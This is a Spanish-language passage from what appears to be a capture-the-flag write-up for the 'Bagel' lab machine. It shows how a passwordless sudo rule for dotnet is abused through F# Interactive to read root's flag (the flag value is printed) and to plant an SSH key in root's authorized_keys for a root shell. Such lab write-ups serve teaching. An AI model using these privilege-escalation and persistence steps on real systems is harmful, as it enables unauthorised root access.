LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
Podríamos compilar un binario de un proyecto C# .NET, pero hay una manera de usar F# en modo interactivo, que es un lenguaje de scripting:
[developer@bagel ~]$ dotnet -h
.NET SDK (6.0.113)
Usage: dotnet [runtime-options] [path-to-application] [arguments]
Execute a .NET application.
runtime-options:
--additionalprobingpath <path> Path containing probing policy and assemblies to probe for.
--additional-deps <path> Path to additional deps.json file.
--depsfile Path to <application>.deps.json file.
--fx-version <version> Version of the installed Shared Framework to use to run the application.
--roll-forward <setting> Roll forward to framework version (LatestPatch, Minor, LatestMinor, Major, LatestMajor, Disable).
--runtimeconfig Path to <application>.runtimeconfig.json file.
path-to-application:
The path to an application .dll file to execute.
Usage: dotnet [sdk-options] [command] [command-options] [arguments]
Execute a .NET SDK command.
sdk-options:
-d|--diagnostics Enable diagnostic output.
-h|--help Show command line help.
--info Display .NET information.
--list-runtimes Display the installed runtimes.
--list-sdks Display the installed SDKs.
--version Display .NET SDK version in use.
SDK commands:
add Add a package or reference to a .NET project.
build Build a .NET project.
build-server Interact with servers started by a build.
clean Clean build outputs of a .NET project.
format Apply style preferences to a project or solution.
help Show command line help.
list List project references of a .NET project.
msbuild Run Microsoft Build Engine (MSBuild) commands.
new Create a new .NET project or file.
nuget Provides additional NuGet commands.
pack Create a NuGet package.
publish Publish a .NET project for deployment.
remove Remove a package or reference from a .NET project.
restore Restore dependencies specified in a .NET project.
run Build and run a .NET project output.
sdk Manage .NET SDK installation.
sln Modify Visual Studio solution files.
store Store the specified assemblies in the runtime package store.
test Run unit tests using the test runner specified in a .NET project.
tool Install or manage tools that extend the .NET experience.
vstest Run Microsoft Test Engine (VSTest) commands.
workload Manage optional workloads.
Additional commands from bundled tools:
dev-certs Create and manage development certificates.
fsi Start F# Interactive / execute F# scripts.
sql-cache SQL Server cache command-line tools.
user-secrets Manage development user secrets.
watch Start a file watcher that runs a command when files change.
Run 'dotnet [command] --help' for more information on a command.
Podemos usar dotnet fsi
:
[developer@bagel ~]$ sudo dotnet fsi
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.
For help type #help;;
>
Hay formas de ejecutar comandos de sistema. Sin embargo, esta vez elegí obtener privilegios de lectura/escritura como root
. Por ejemplo, podemos leer la flag root.txt
:
> open System.IO.File.ReadAllLines(@"/root/root.txt");;
val it: string[] = [|"4d0a0b2425c34fcc1a2d9fdf6dd244c5"|]
Para obtener un shell como root
, podemos agregar una clave SSH pública a /root/.ssh/autorized_keys
. Primero, nos creamos un par de claves:
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa): ./root_id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./root_id_rsa
Your public key has been saved in ./root_id_rsa.pub
The key fingerprint is:
SHA256:ALyCueBYvQCalEvCfJ+C1+K+rh/y7Du4yXTcJN/LvHM
The key's randomart image is:
+---[RSA 3072]----+
|o ... |
|o* ... |
|==+.o.o |
|*o++o+ . |
|+oo+oo S |
|o...* . |
| oo+ o . |
|o.*o. o..E |
| =*O+ =+ |
+----[SHA256]-----+
$ cat root_id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTH8lAYNlmUe7OP60e06ThfnUcl2j6HeJciLmqqoeV6tB+GOICpXtGjleiRHg3/hbGzC2OSaew1GGS2RlqRxSFQTmBVOWBhAEOWSg4s2BL7EF+G/uNXZU/70RwUvIjzUAKE6f3n8vbTC6qptEWH30vpU9F/VWufwGrKEP/J1tNAqLs7Es1vUXLPAhtaC9F+AJPqxmvpqNjW8irbFEWDbU/ty7It3uftW9AFCmuk8+pMd/iPsiJ0G5rZeFfLrxhDfRAl3zSl7JlIhu6zTbd5Kv9pRRwdKwntvoJRNALYj9lrImlf/nGZNNCjc1ErUuVAxGCGYs4VgZYgFjn7WnU5eTMCCu+dfaqm3JJKIZngDprDpXxsPqVp05gHFPViPf4SVahSMjkynQ6kAeMfhPk5A4YzeFwVuPEmpn3Y0AAwMbWxm0ky5ZXqMfM6WQw2SXggm7DnR76b/YULcfblUMgMz5n6G1LvKO7rKu/Huh59//pDSlePUqV5lwWp28o07A0Ok8=
Ahora, creamos el archivo y escribimos la clave pública:
> let file = new System.IO.StreamWriter("/root/.ssh/authorized_keys");;
val file: System.IO.StreamWriter
> file.WriteLine("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTH8lAYNlmUe7OP60e06ThfnUcl2j6HeJciLmqqoeV6tB+GOICpXtGjleiRHg3/hbGzC2OSaew1GGS2RlqRxSFQTmBVOWBhAEOWSg4s2BL7EF+G/uNXZU/70RwUvIjzUAKE6f3n8vbTC6qptEWH30vpU9F/VWufwGrKEP/J1tNAqLs7Es1vUXLPAhtaC9F+AJPqxmvpqNjW8irbFEWDbU/ty7It3uftW9AFCmuk8+pMd/iPsiJ0G5rZeFfLrxhDfRAl3zSl7JlIhu6zTbd5Kv9pRRwdKwntvoJRNALYj9lrImlf/nGZNNCjc1ErUuVAxGCGYs4VgZYgFjn7WnU5eTMCCu+dfaqm3JJKIZngDprDpXxsPqVp05gHFPViPf4SVahSMjkynQ6kAeMfhPk5A4YzeFwVuPEmpn3Y0AAwMbWxm0ky5ZXqMfM6WQw2SXggm7DnR76b/YULcfblUMgMz5n6G1LvKO7rKu/Huh59//pDSlePUqV5lwWp28o07A0Ok8=");;
val it: unit = ()
> file.Close();;
val it: unit = ()
> #quit;;
Y ahora, podemos acceder como root
usando la clave privada:
$ ssh -i root_id_rsa root@10.10.11.201
[root@bagel ~]# cat root.txt
4d0a0b2425c34fcc1a2d9fdf6dd244c5